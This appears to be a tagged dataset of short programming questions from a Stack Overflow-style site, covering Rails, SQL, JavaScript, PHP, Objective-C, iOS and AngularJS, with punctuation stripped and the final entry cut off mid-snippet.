paginate the class  please help me with pagination of this method    my method is this one    controller    #  <pre><code>def show   @topic = topic.find(params[:id])    @posts = @topic.posts.find(:all  :order=&gt;  id ) end </code></pre>   views    #  <pre><code>%div{:style=&gt; margin: 0 auto; }   %table.sortable.style2{:cellpadding=&gt;5}     %thead       %tr         %td{:width =&gt;  25%  :align =&gt;  center  :style =&gt;  font-weight: bold; }posted by         %td{:width =&gt;  75%  :style =&gt;  font-weight: bold; }comments     %tbody         - for post in @posts          %tr           %td{:align =&gt;  center }             &amp;nbsp             %div{:width=&gt; 5px    :style=&gt; border: 1px solid rgb(232  232  232);background-color: rgb(248  248  248);width: 60px; height:60px;  }               - if post.posted_by.image                  = image_tag(post.posted_by.image.public_filename() :width =&gt;  60px   :height =&gt;  60px  :align=&gt; center )             %div{:style =&gt;  font-weight: bold; font-style: italic; }               = post.posted_by   post.posted_by.firstname :  &lt;em&gt;unknown user&lt;/em&gt;                 %br             %div{:style =&gt;  font-style: italic; }               posted on                = post.created_at.strftime( %d of %b %y  )               = post.created_at.strftime( at %h:%m )             %td{:valign =&gt;  top }             =post.body </code></pre>,ruby-on-rails
exclamation mark in rails model method not found when object is passed in  using rails 3.2. i have the following for mailer action:   <pre><code># shop.rb class shop &lt; activerecord::base    def deliver_update_notification!(user)     version = self.versions(user).last     editormailer.updated_spot(self  version).deliver   end end  # shops_controller.rb class shopscontroller &lt; applicationcontroller   def update     @shop = shop.find(params[:id])     if @shop.update_attributes(params[:shop])       @shop.deliver_update_notification!(current_user)       redirect_to shop_path(@shop)     else       render  edit      end   end end </code></pre>   somehow when i pass in the <code>current_user</code> object to the method <code>deliver_update_notification!</code>  it throws an error saying the method cannot be found. if changed the method to not accept any object  the method works. why is this behaving this way     also  i don t remember why i have the exclamation mark in the method. saw it from somewhere. what s the purpose of the exclamation mark     thanks.,ruby-on-rails
testing form submit  i m setting up a form and need to test it without processing the php... how do i make the submit bottom take me to the next padro    <pre><code>&lt;form action= test.html  method= post  id= acct_access &gt; ... &lt;/form&gt; </code></pre>,html
http error 404. the requested resource is not found. in microsoft server  i am completely new to .net  i am just trying to move my code from godaddy to another microsoft server and in my new server. i have all the file which should be present i have also changed the connection string according to my new server space and i placed the database also correctly. my url is <a href= https://pushpdeep.pw/  rel= nofollow noreferrer >here</a>     can you help me what else i should do so that my website will become live,.net
why are  out  parameters in .net a bad idea   why are  out  parameters in .net a bad idea     i was recently asked this  but i had no real answer besides it s simply unnecessarily complicating an application. what other reasons are there,.net
javascript to retrieve value from grid  i have a <code>rowdatabound</code> event as follows.    <pre><code>protected void gridledger_rowdatabound(object sender  gridviewroweventargs e) {     if (e.row.rowtype == datacontrolrowtype.datarow)      {         e.row.attributes.add( onmousedown    var str = document.getelementbyid(   + e.row.clientid +   ).cells[0].innertext; document.getelementbyid( &lt;%=textbox1.clientid%&gt; ).value = str; );     }  } </code></pre>   when this event fires  i am getting the following error:    <code>object element not found or not an object</code>    why am i getting this error,javascript
disable text input history <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2530/how-do-you-disable-browser-autocomplete-on-web-form-field-input-tag >how do you disable browser autocomplete on web form field / input tag </a>    </blockquote>     i am building an application which will be accepting credit card data. i would like to make sure that the browser does not remember what has been type into the text inputs for credit card number. i tried passing the following headers:   <pre><code>header( expires: tue  03 jul 2001 06:00:00 gmt ); header( last-modified:   . gmdate( d  d m y h:i:s ) .   gmt ); header( cache-control: no-store  no-cache  must-revalidate  max-age=0 ); header( cache-control: post-check=0  pre-check=0   false); header( pragma: no-cache ); </code></pre>   still  once the page reloads  i can click the credit card text input field and it will let me see what i wrote in it before. how can i prevent this,php
understanding rails variable types in debug  i was trying to debug why &lt;%= @user.address1 %> wasn t showing up in the view.  the associated column was setup as a string  as in:   <pre><code>t.string    address1  t.string    address2  t.string    city  t.string    state  t.string    zip  t.string    phone  </code></pre>   when i debugged the model using debug(@user)  i got:   <pre><code>address1: 123 main st. city: santa barbara address2:    zip:  93101  state: ca </code></pre>   associated view for inputting info into the db:   <pre><code>    &lt;tr&gt;         &lt;td width= 300 &gt;address: &lt;/td&gt;         &lt;td&gt;&lt;%= u.text_field :address1 %&gt;&lt;br&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td width= 300 &gt;address2: &lt;/td&gt;         &lt;td&gt;&lt;%= u.text_field :address2 %&gt;&lt;br&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;city:&lt;/td&gt;         &lt;td&gt;&lt;%= u.text_field :city %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;state:&lt;/td&gt;         &lt;td&gt;&lt;%= u.text_field :state %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;zip code:&lt;/td&gt;         &lt;td&gt;&lt;%= u.text_field :zip %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;phone:&lt;/td&gt;         &lt;td&gt;&lt;%= u.text_field :phone %&gt;&lt;/td&gt;     &lt;/tr&gt; </code></pre>   i fixed the problem by using &lt;%= @user.address1.to_s %> but from the debug output along with the schema i thought the column was already a string.  i did notice that while the zip code contained quotations around it designating a string  the address1 did not.    so why couldn t i initially use &lt;% =@user.address1 %> without converting it to string   what kind of variable is the 123 main st. without quotations,ruby-on-rails
how to chop off semicolon  apostrophe and comma from a string  i have a aspx form and a multiline textbox. i am sending the textbox value to oracle table and oracle does not like apostrophe and semicolon. so can you please tell me how to exclude apostrophe and semicolon from a string  i am doing like this.   <pre><code>     using (oracleconnection connection = new oracleconnection())                 {                     connection.connectionstring = connectionstring;                     connection.open();                      oraclecommand command = connection.createcommand();                      command.commandtype = system.data.commandtype.storedprocedure;                      // name of procedure or function to be executed                     command.commandtext =  proc_sendrequisition ;                      command.parameters.add(new oracleparameter( p_reqid   oracletype.varchar)).value = preqid;                     command.parameters.add(new oracleparameter( p_reqdate   oracletype.varchar)).value = preqdate;                     command.parameters.add(new oracleparameter( p_requester   oracletype.varchar)).value = prequester; command.parameters.add(new oracleparameter( p_remarks   oracletype.varchar)).value = premarks;                       command.executenonquery();                 } </code></pre>,asp.net
mysql: find most recent row in one table for each row in another table containing a specific date  having a hard time creating a mysql query to do the following.    we have a list of staff with columns as follows:   <pre><code>eg: employee table name    em_date   (other cols) fred    1-1-1960 fred    1-1-1970 fred    1-1-1980 john    1-1-1960 john    1-1-1990 </code></pre>   we have a second table containing family details:   <pre><code>partners table name       marriage_date     partner_name     (other cols) fred       1-1-1959          sue fred       1-1-1969          marg john       1-1-1985          joan </code></pre>   i m trying to generate a table containing: name  employment_date  marriage_date  partner_name    some staff have been employed multiple times (think contractors) so they have multiple employment dates. some of them have also remarried and so have different partners at different times (and/or may not have been married at some time)    i need the output to show the partner at the time of their employment.    the output should be:   <pre><code>name       em_date      mar_date     partner_name fred       1-1-1960     1-1-1959     sue fred       1-1-1970     1-1-1969     marg fred       1-1-1980     1-1-1969     marg john       1-1-1960     null         null john       1-1-1990     1-1-1985     joan </code></pre>   i was certain i could use the sql from the link below  but alas i am unable to resolve it <a href= https://dba.stackexchange.com/questions/27823/query-to-find-closest-lesser-date >https://dba.stackexchange.com/questions/27823/query-to-find-closest-lesser-date</a>    any pointers greatly appreciated - i d include what i ve tried but i ve tried too much and it s just not working. i either get the cartesian product or a single row.    there are keys on name and the 2 dates  but no others (ie:there is no id linking the employee to their partner at the time of their employment [think importing old data after the fact...])  hence i have to search by name and match the nearest partner based on the calculation:   <pre><code>min(employment_date - marriage date) </code></pre>   many thanks in advance.    edit: primary key for employee table is combination name employment date. pk for partner table is combination name marriage date. if i could change it  i would....    had to edit as i m a new user and cannot coment yet...    edit: sqlfiddle here: <a href= http://sqlfiddle.com/#!2/84148/2  rel= nofollow noreferrer >http://sqlfiddle.com/#!2/84148/2</a>,mysql
overwrite assignment operator in javascript   ok so i ve come to far so many problems with javascript <code>number</code> and c# s <code>decimal</code> not being particularly great with one another  so i decided to make a more sophisticated intermediate gimmick as so:   <pre><code>class decimal {     constructor(value  decimalplaces = 2) {         this.value = value;         this.decimalplaces = decimalplaces;     }      valueof() {         let pow = math.pow(10  this.decimalplaces);         let retv = math.round(this.value * pow) / pow;         return retv;     }      tostring() {         return this.value.tofixed(this.decimalplaces);     }      tojson() {       return this.valueof();     } } </code></pre>   so that i could    <code>let price = new decimal(200 - 199.99  2)</code>    and it works fine  even when serializing:    <code>let foo = { price: price; }</code>    this will serialize to    <code>{ price: 0.01 }</code>    as expected.    <strong>the problem here is</strong>    if we do <code>price = 10</code> or <code>price = somenumbervariable</code> we lose the almighty rounding powers of this class because now price is of type number.    <strong>the question is</strong>    is it possible to overwrite the assignment operator  so that <code>price = somenumbervalue;</code> on user code actually does <code>price.value = somenumbervalue</code> under the hood  to keep that auto-rounding magic going on  or even better  is there any native javascript stuff that does what i intend to in a much easier way that i might happen to not know of,javascript
catching exc_bad_access  i wrote this code at the end of a long day:   <pre><code>myobject *thisobj; // ... lots of code here ... thisobj.name = @ test ; // which caused an exc_bad_access as i hadn t alloc / init d thisobj. </code></pre>   it took me ages to figure out i d forgotten to initialise the object so i was wondering - is there any way of catching this. i tried setting nszombie but that didn t seem to do anything.    any ideas on the best way to do this,objective-c
code is overwriting array  is there a problem with these samples of code  whenever there is an x in the spot it still is overwriting an o in the spot if a win can be made. apparently the if not statement is not working  88 and 79 are  x  and  o  in ascii.   <pre><code>while(i+j&lt;6)     {         if (board[i][j]+board[i][j+1] == compxo*2)         {             if(board[i][j+2] != (88||79))              {             board[i][j+2] = compxo;             won=1;             break;             }         }         else              i++;     }   if (board[i+1][j+1]+board[i+2][j+2] == compxo*2)     {            if(board[i][j] != (88||79))          {         board[i][j] = compxo;         won=1;          }     } </code></pre>,c
sql query help - multiple joins  having trouble with this sql query. here s the situation:    i have three tables structured as follows:   <pre><code>events -&gt; fields id and name   players -&gt; fields id and name   matches -&gt; fields id  eventid  player1id  player2id </code></pre>   i would like to perform a query that shows me the matches table  but replaces the eventid with the event.name  the player1id with the players.name and the player2id with the players.name.    it is easy for me to get one player and the event using this:   <pre><code>select     players.name as player1  events.name  from     (matches  inner join     events on (matches.eventid=events.id))   inner join     players on (matches.player1id = player.id) ; </code></pre>   but  how do i get the player2 s name,sql
sql getting count in a date range  i m looking for input on getting a count of records that were  active  in a certain date range.   <pre><code>create table member {     id int identity      name  varchar      active  bit } </code></pre>   the scenario is one where  members  number fluctuate over time. so i could have linear growth where i have 10 members at the beginning of the month and 20 at the end. currently we go off the number of currently active (as marked by an  active  flag in the db) at the time of report. - this is hardly accurate and worse  6 months from now  my  members  figure may be substantially different than now. and since i m doing averages per user  if i run a report now  and 6 months from now - the figures will probably be different.    i don t think a simple  dateactive  and  dateinactive  will do the trick... due to members coming and going and coming back etc. so:   <pre><code>joe may be active 12-1 and deactivated 12-8 and activated 12-20  so joe counts as being a  member  for 8 days and then 11 days for a total of 19 days </code></pre>   but the revolving door status of members means keeping a separate table (presumably) of userid  status  date    <pre><code>create table memberstatus {     member_id int      status bit   -- 0 for in-active  1 for active     date date } (adding this table would make the  active  field in members obsolete). </code></pre>   in order to get a  good  average members per month (or date range) - it seems i d need to get a daily average  and do an average of averages over  x  days. or is there some way in sql to do this already.     this extra  status  table would allow an accurate count going back in time. so in a case where you have a revenue or cost figure  that doesn t change or is not aggregate  it s fixed  that when you want cost/members for last june  you certainly don t want to use your current members count  you want last junes.    is this how it s done  i know it s one way  but it the  better  way...    @gordon - i got ya  but i guess i was looking at records like this:   <pre><code>members     1 joe     2 tom     3 sue  memberstatus     1 1  12-01-2014      1 0  12-08-2014      1 1  12-20-2014  </code></pre>   in this way i only need the last record for a user to get their current status  but i can track back and  know  their status on any give day.    if i m understanding your method it might look like this   <pre><code>create table memberstatus {     member_id int      active_date      inactive_date } </code></pre>   so on the 1-7th the record would look like this   <pre><code>1  12-01-2014  null </code></pre>   and on the 8th it would change to    1  12-01-2014   12-08-2014     the on the 20th   <pre><code>1  12-01-2014   12-08-2014  1  12-20-2014  null </code></pre>   although i can get the same data out  it seems more difficult without any benefit - am i missing something,sql
problem in playing sound in application   i developing simple game application in which i playing sound with uiview animation.   <pre><code>theaudioplayer = [[avaudioplayer alloc] init];    [theaudioplayer initwithcontentsofurl:[nsurl fileurlwithpath:[[nsbundle mainbundle] pathforresource:[nsstring stringwithformat:@ pageturn ] oftype:@ mp3 ]] error:null];  [theaudioplayer play]; </code></pre>   where theaudioplayer is the instance object of avaudioplayer class. now my problem is when i playing the game after 10-15 minutes during the animation of uiviews sound going to mute.it never play again  why      thanks for sending an viewing my question.,iphone
create mysql column with key=mul   i want to make a column with key = mul. what should i add to the following statement to make it do that    <pre><code>alter table skills_required add column skill_id int (11) not null; </code></pre>   thanks for the help!,mysql
how to pass callback to filter that has access to results of filter  i want to run another function immediately after the filter as shown below that has access to the results of the filter. the anonymous function i pass doesn t run.  i know that you can chain a map to a filter  but i don t want to iterate over the array one by one after filter  just have access to the whole array at once. <a href= https://jsfiddle.net/mjmitche/hrpbuvhf/2/  rel= nofollow noreferrer >jsfiddle</a>   <pre><code>var vegetables = [ kale    brocoli    kale ];  class vegies {   constructor(vegetables) {     this.vegies = vegetables.filter(function(v){          return v.length &gt; 3;     }  function(){         console.log(this.vegies.length   doesn t run );     });   }  }; var n = new vegies([ kale    banana ]); </code></pre>,javascript
account for missing values in group by month  i m trying to retrieve the average number of records added to the database each month. however for months that no records were added  the row is missing and therefore not being calculated into the average.    here is the query:   <pre><code>select avg(a.count) as avg from ( select count(*) as count  month(insertedtimestamp) as month     from certificates     where insertedtimestamp &gt;=  9/19/2014          and insertedtimestamp &lt;=  7/1/2015      group by month(insertedtimestamp)  ) as a </code></pre>   when i run just the inner query  only results from months 9 10 11 are showing  because there are no records for months 12 1 2 3 4 5 6 7. how can i add these missing rows to the table in order to get the correct monthly average     thanks!,sql
how to inherit a class only if is a specific type   suppose that i have a class called <code>bot</code>  like this:   <pre><code>class bot {  } </code></pre>   now there is another class that have all the features of the <code>bot</code>  this class is called <code>tool</code>:   <pre><code>class tool {     //some method } </code></pre>   now <code>bot</code> is the only class that must be inherit the method of <code>tool</code>. how can i constraint this like the <code>where</code> operator  something like this:   <pre><code>class tool where t = bot   </code></pre>   i don t know if is clear  but i want that only the <code>bot</code> class can be inherit the method of <code>tool</code>  is possible do this  sorry for the rudimental explaination.    thanks in advance.,c#
install .net 3.5 on windows 2008 r2 using dism  i m writing an installer which uses dism to enable features and roles on 2012 and 2008 r2.    i m confused about where .net 3.5 is located in server 2008. on 2012  i am aware that either online access is required or the os media needs to be mounted.    on 2008 r2 however  i have just disabled network access and managed to install the .net 3.5 feature. however  when i use the following dism command i am unable to get the feature installed: dism /online /enable-feature /featurename:netfx3 /source:c\windows\winsxs /limitaccess    i m assuming that this is due to .net 3.5 not being in the winsxs folder.    can anyone tell me where it is so i can use the dism command     thanks in advance,.net
make multiple changes on a video without saving it  i am using the below code to merge video with audio  the code is working with no error  but the code will save it to the camera roll. here is where i merge video with audio:   <pre><code> if (self.asset == nil) {         return;     }       nsstring *outputpath = [nstemporarydirectory() stringbyappendingpathcomponent:[nsstring stringwithformat:@ mergevideo-%d.mov  arc4random() % 1000]];      nsurl *outputurl = [nsurl fileurlwithpath:outputpath];     if ([[nsfilemanager defaultmanager] fileexistsatpath:outputpath])     {         [[nsfilemanager defaultmanager] removeitematpath:outputpath error:nil];     }      avmutablecomposition *composition = [avmutablecomposition composition];      cmtimerange videotimerange = cmtimerangemake(kcmtimezero  self.asset.duration);       avmutablecompositiontrack *videotrack = [composition addmutabletrackwithmediatype:avmediatypevideo preferredtrackid:kcmpersistenttrackid_invalid];      avassettrack *videoassettrack = [[self.asset trackswithmediatype:avmediatypevideo] firstobject];      [videotrack inserttimerange:videotimerange oftrack:videoassettrack attime:kcmtimezero error:nil];       avurlasset *audioasset = [[avurlasset alloc] initwithurl:[nsurl fileurlwithpath:[[nsbundle mainbundle] pathforresource:@ 当我遇上你  oftype:@ mp3 ]] options:nil];      avmutablecompositiontrack *audiotrack = [composition addmutabletrackwithmediatype:avmediatypeaudio preferredtrackid:kcmpersistenttrackid_invalid];      avassettrack *audioassettrack = [[audioasset trackswithmediatype:avmediatypeaudio] firstobject];     [audiotrack inserttimerange:videotimerange oftrack:audioassettrack attime:kcmtimezero error:nil];       // 3.1 - create avmutablevideocompositioninstruction     avmutablevideocompositioninstruction *maininstruction = [avmutablevideocompositioninstruction videocompositioninstruction];     maininstruction.timerange = cmtimerangemake(kcmtimezero  self.asset.duration);      // 3.2 - create an avmutablevideocompositionlayerinstruction for the video track and fix the orientation.     avmutablevideocompositionlayerinstruction *videolayerinstruction = [avmutablevideocompositionlayerinstruction videocompositionlayerinstructionwithassettrack:videotrack];     uiimageorientation videoassetorientation_  = uiimageorientationup;     bool isvideoassetportrait_  = no;     cgaffinetransform videotransform = videoassettrack.preferredtransform;     if (videotransform.a == 0 &amp;&amp; videotransform.b == 1.0 &amp;&amp; videotransform.c == -1.0 &amp;&amp; videotransform.d == 0) {         videoassetorientation_ = uiimageorientationright;         isvideoassetportrait_ = yes;     }     if (videotransform.a == 0 &amp;&amp; videotransform.b == -1.0 &amp;&amp; videotransform.c == 1.0 &amp;&amp; videotransform.d == 0) {         videoassetorientation_ =  uiimageorientationleft;         isvideoassetportrait_ = yes;     }     if (videotransform.a == 1.0 &amp;&amp; videotransform.b == 0 &amp;&amp; videotransform.c == 0 &amp;&amp; videotransform.d == 1.0) {         videoassetorientation_ =  uiimageorientationup;     }     if (videotransform.a == -1.0 &amp;&amp; videotransform.b == 0 &amp;&amp; videotransform.c == 0 &amp;&amp; videotransform.d == -1.0) {         videoassetorientation_ = uiimageorientationdown;     }     [videolayerinstruction settransform:videoassettrack.preferredtransform attime:kcmtimezero];     [videolayerinstruction setopacity:0.0 attime:self.asset.duration];      // 3.3 - add instructions     maininstruction.layerinstructions = [nsarray arraywithobjects:videolayerinstruction nil];      avmutablevideocomposition *maincompositioninst = [avmutablevideocomposition videocomposition];      cgsize naturalsize;     if(isvideoassetportrait_){         naturalsize = cgsizemake(videoassettrack.naturalsize.height  videoassettrack.naturalsize.width);     } else {         naturalsize = videoassettrack.naturalsize;     }      float renderwidth  renderheight;     renderwidth = naturalsize.width;     renderheight = naturalsize.height;     maincompositioninst.rendersize = cgsizemake(renderwidth  renderheight);     maincompositioninst.instructions = [nsarray arraywithobject:maininstruction];     maincompositioninst.frameduration = cmtimemake(1  30);       avassetexportsession * assetexport = [[avassetexportsession alloc] initwithasset:composition presetname:avassetexportpresetmediumquality];     assetexport.outputurl = outputurl;//输出路径     assetexport.outputfiletype = avfiletypequicktimemovie;//输出类型     assetexport.shouldoptimizefornetworkuse = yes;     assetexport.videocomposition = maincompositioninst;     [assetexport exportasynchronouslywithcompletionhandler:^{         dispatch_async(dispatch_get_main_queue()  ^{             [self exportdidfinish:assetexport];         });     }];   - (void)exportdidfinish:(avassetexportsession*)session {     if (session.status == avassetexportsessionstatuscompleted) {         nsurl *outputurl = session.outputurl;         alassetslibrary *library = [[alassetslibrary alloc] init];         if ([library videoatpathiscompatiblewithsavedphotosalbum:outputurl]) {             [library writevideoatpathtosavedphotosalbum:outputurl completionblock:^(nsurl *asseturl  nserror *error){                 dispatch_async(dispatch_get_main_queue()  ^{                     if (error) {                         uialertview *alert = [[uialertview alloc] initwithtitle:@ error  message:@ video saving failed                                                                         delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];                         [alert show];                     } else {                         avplayeritem * playeritem = [avplayeritem playeritemwithurl:outputurl];                         [_player replacecurrentitemwithplayeritem:playeritem];                         [_player play];                      }                 });             }];         }     } } </code></pre>   as i said the above code merge the video and audio. what i need is keep that video after i did the merge and edit it with another properties. for example i want to crop the video and then add text. i want to do all that change without saving the video every time  so that i can save it one time at the end. how can i save the video in nstemporarydirectory     i hope the question is clear for all  and sorry about my poor express in english.    thanks,objective-c
jquery  text  appending an li to a list with a span wrapped   here is my current line of code:   <pre><code>$( &lt;li&gt; ).text($(this).text()).appendto( #thelist ); </code></pre>   which results in   <pre><code>&lt;ul id= thelist &gt; &lt;li&gt;blah&lt;/li&gt; &lt;li&gt;blah&lt;/li&gt; &lt;/ul&gt; </code></pre>   how can i update that code above to result in:   <pre><code>&lt;ul id= thelist &gt; &lt;li&gt;&lt;span&gt;blah&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&lt;span&gt;blah&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>,jquery
where conditions in created columns in sql  how do you only show the  missing area  data instead of including the blanks if the areas.id are empty  i tried using where outlet.status &lt;> 0 but sql said the column status does not exist. so in this case my created status column cannot be filtered     sorry for the confusion  a sample data will be something like:    <strong>shops</strong>                             <pre><code>id  firm name area id               ---------------------- 1   abc       21               2   xyz       23              3   def       42         </code></pre>   <strong>areas</strong>      <pre><code>id   -- 20   23    40 </code></pre>   joined tables with status:   <pre><code>id  firm name area_id id   status    --------------------------------------- 1   abc       21      null missing area    2   xyz       23      23      3   def       42      null missing area    </code></pre>   i wish to not show shops.id = 2 and just display 1 and 3   <pre><code>select      shops.id  shops.firm_name  shops.area_id       areas.id       if(areas.id       missing area ) as status  from      shops left join      areas on areas.id = shops.area_id where      shops.area_id != 0  order by      status asc </code></pre>,sql
convert number value to string  can anybody solve the following problem with javascript   <pre><code>var i = 10152233307863175; alert(i.tostring()); </code></pre>   alert shows value <code>10152233307863176</code>. any solution. problem is when i get json object on client and when string is converted to json it contains wrong values.,javascript
how to convert a function into a closure in php   i have function that uploads files to server:   <pre><code>function upload() {      $files = input::file(self::$filename);      foreach ($files as $key =&gt; $file) {        // validation        // uploading     } } </code></pre>   so  how to make this function as closure  that after loading it returns  error or success information to output variable:   <pre><code>$results = function upload() { } </code></pre>   in <code>results</code> should be result array of uploading files. it can be error or success state.,php
reduce ios native app size which contains audio files  we have developed an ios app through html  css  jquery mobile and converted to native app through phonegap framework. the app has audio and text  user will navigate to different chapters and each chapter has corresponding songs included in it.    our app size is 80mb and this is because of large audio files(in mp3 format) within it.  audio files: 78mb source files: 2mb    we want to reduce the size of app for easier download and there is maximum limit of 50mb for ota update.    what are the ways in which we can reduce app size.,ios
prevent html caching  i ve already be added the following lines to prevent caching  the contents is display within a iframe   <pre><code>&lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;meta http-equiv= cache-control  content= no-cache &gt;     &lt;meta http-equiv= pragma  content= no-cache &gt;     &lt;meta http-equiv= expires  content= 0 &gt; </code></pre>   but it has no effect  any ideas,html
calendar extender is not working  i have a requirement to show edit panel as second row of a datagrid upon addnew link click. for this i have taken a div which has set display:none. i am able to show as second row upon addnew link click. now the actual problem starts.    this div got a text box which is tied to calendar extender  to behave as a claendar upon textbox click. but calendar is not showing up when the html of invisible div is inserted as second row of grid. please let me know if anyone need code for better understanding the problem. any help will be appreciated.,asp.net
sending request onunload  i have read multiple questions on this subject in here but i still have some doubts on it.    i firstly tried using the navigator.sendbeacon() which it works perfectly but i need to support all browser  so it can t be used.    the solution that i came up with was:   <pre><code>$(window).on( unload   function(){             var xhr = new xmlhttprequest();             xhr.open( post    http://localhost:8080/express/check   false);             xhr.setrequestheader( content-type    application/json;charset=utf-8 );             xhr.send();             xhr.abort();         }) </code></pre>   i have tried changing the link to one that doesn t exist and disconnecting the internet while doing it and it worked fine on chrome  firefox and internet explorer since the page closed properly.    my concern is: will this work seamlessly on all types of browser  or is there potential problems (i.e. the page waiting for the request and therefore not closing) even with aborting after a send()     thanks in advance,jquery
in /usr/lib/system/libcache.dylib  missing required architecture armv6  in attempting to compile a dummy program for iphoneos  xcode4  gcc does not appear to reach beyond the initial sysroot directory   <pre><code>$ echo $isysroot /applications/xcode.app/contents/developer/platforms/iphoneos.platform/developer/sdks/iphoneos5.1.sdk $ gcc -arch armv6 --sysroot=$isysroot  test.cpp ld: in /usr/lib/system/libcache.dylib  missing required architecture armv6 in file for architecture armv6 collect2: ld returned 1 exit status </code></pre>   if i leave out sysroot    <pre><code>$ gcc -arch armv6  test.cpp ld: warning: ignoring file /usr/lib/crt1.o  missing required architecture armv6 in file ld: warning: ignoring file /usr/lib/libgcc_s.1.dylib  missing required architecture armv6 in file ld: warning: ignoring file /usr/lib/libsystem.dylib  missing required architecture armv6 in file undefined symbols for architecture armv6:    start   referenced from:      -u command line option ld: symbol(s) not found for architecture armv6 collect2: ld returned 1 exit status </code></pre>   the following works  but it feels very cheesy  and not scalable. what s going on here    <pre><code>$ gcc -arch armv6  -l$isysroot/usr/lib/system --sysroot=$isysroot  test.cpp </code></pre>   <strong>update.</strong> apparently this is a known issue  though it still is not clear how to pass sysroot to gcc but isysroot to ld    <a href= http://www.doitscared.com/ m=201104  rel= noreferrer >http://www.doitscared.com/ m=201104</a>   <blockquote>    when compiling the library  if you see this error “ld: file not found:   /usr/lib/system/libcache.dylib for architecture armv7″  then your   linker command is using “–sysroot” which doesn’t work in xcode 4.   instead  change the linker command to use “-isysroot”. (note: this   only applies to the linker command. the compile commands must continue   to use “–sysroot”. see here for more details.)  </blockquote>,ios
how to put multiple condition in ng-class  suppose i am showing product information. i want if price less than 50 then item color should be red. if price more than 50 then item color should be yellow and if price more than (50+(50*60/100)) then item color should be green. now tell me how could i achieve it best way. guide me with best approach to complete it.    this way i tried but i came to know there will be more iteration due to dirty check when work with ng-repeat. see my code and tell me how could i put multiple condition in ng-class to set class dynamically.   <pre><code>&lt;div ng-app= myapp &gt;   &lt;ul ng-controller= mycontroller &gt;     &lt;li ng-class= setcolor(item.price)  ng-repeat= item in products &gt;{{item.name}} &amp;mdash; {{item.price}}&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt;   var myapp = angular.module( myapp   []);  myapp.controller( mycontroller   function mycontroller($scope) {  $scope.setcolor = function(price) {       alert(price); }       $scope.products = [     {          name  :  xbox            clearance  : true           price  : 30.99      }      {          name  :  xbox 360            clearance  : false           salesstatus  :  old            price  : 99.99      }      {          name  :  xbox one            salesstatus  :  new            price  : 50      }      {          name  :  ps2            clearance  : true           price  : 79.99      }      {          name  :  ps3            salesstatus  :  old            price  : 99.99      }      {          name  :  ps4            salesstatus  :  new            price  : 20.99      }     ] }) </code></pre>   tell me without calling function from ng-class how could i place multiple if else condition in ng-class    <pre><code>if price &gt; 50    return  css-class-yello  else if price &lt; 50    return  css-class-red  else if price &gt; (50+(50*60/100))    return  css-class-green  </code></pre>   if possible please guide me with code. thanks,angularjs
java : storing data in array of object from joptionpane dialog  i need to know how i can insert data inside objects inside an array of objects using my already made set methods.    i need to know how should i do it through user   i mean joptionpane input dialog   <pre><code>student[] s = new student[5];  for (int i=1 ; i &lt;= s.length ;i++) {     s[i] = new student(i  aaa   ecommerce  0.0); }  for (int i=1; i&lt;=s.length;i++) {     name = joptionpane.showinputdialog( please write name for student n   + i);     major = joptionpane.showinputdialog( please write major for student n   + i);     gpa = double.parsedouble(joptionpane.showinputdialog( please write gpa for student n   +i));      s[i] = new student(i name major gpa);   } </code></pre>   i tried to do vars here that get data from user by joptionpane  but it seems that i only use my already made constructor   not the set methods.    i need to use the methods because it has some validation code inside it.    any ideas,java
i do not understand python raw string  the python doc says:   <blockquote>    if we make the string literal a “raw” string  <code>\n</code> sequences are not converted to newlines  but the backslash at the end of the line  and the newline character in the source  are both included in the string as data. thus  the example:  </blockquote>   i do not quite understand  as it says <em>the newline character in the source is inclued in the string as data</em>  but the <code>\n</code> just be printed literally as in the following example.    <pre><code>hello = r this is a rather long string containing\n\ several lines of text much as you would do in c.   print(hello) </code></pre>   can any kind helper help me understand <em>but the backslash at the end of the line  and the newline character in the source  are both included in the string as data </em>,python
querying count on joined table not displaying result for zero count  i want to to return rows from a parent rows with a count of child rows relational to the parent id. unfortunately  i have run into an issue with my query where it will only return rows with child rows  those without child rows do not return results. i have tried left  right  outer  and inner joins to no avail. sqlfiddle link and query below:   <pre><code>select t.id  t.name  count(s.id) as cnt from top as t  join sub as s on t.id = s.top_id group by t.id  t.name  order by t.id asc </code></pre>   <a href= http://sqlfiddle.com/#!9/c466fe/1  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/c466fe/1</a>    thank you for your help in advance!,mysql
convert cstring to char*  i m using ado and i retrieve a string data from mysql database.   <pre><code>cstring         cstrprivilege; char*           charprivilege; //assume that i have done the database connection //let said the data is  admin  cstrprivilege = (lpctstr)(_bstr_t)m_precordset-&gt;getcollect( privilege ); wcout &lt;&lt; cstrprivilege.getstring() &lt;&lt;endl; // no problem  show  admin  </code></pre>   the problem now is i want to assign convert the <code>cstrprivilege</code> to <code>charprivilege</code> for <code>strcmp()</code> purpose. but i have no idea and i have try a lot of method like:   <pre><code>charprivilege = (lpstr)(lpctstr)cstrprivilege;  cout &lt;&lt; charprivilege; // only show the first character  show  a  only  </code></pre>   and   <pre><code>charprivilege = (lpstr)(lpctstr)cstrprivilege.getbuffer(cstrprivilege.getlength()); // show  a  only too </code></pre>   i had found that my <code>cstrprivilege</code> is in <code>lpcwstr</code> type  but i still have no idea how to convert it.  anyone have idea to solve it,c++
"how to remove odd styles for inputs on android chrome   i have the following input:    <pre><code>&lt;input name= email  type= text &gt; </code></pre>   and some css for it:    <pre><code>border: 1px solid #7d7d7d; -webkit-appearance: none; -moz-appearance:    none; appearance:         none; </code></pre>   <div class= snippet  data-lang= js  data-hide= true  data-console= false  data-babel= false >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>input {
   border: 1px solid #7d7d7d;
   -webkit-appearance: none;
   -moz-appearance:    none;
   appearance:         none;
 }  </code></pre>
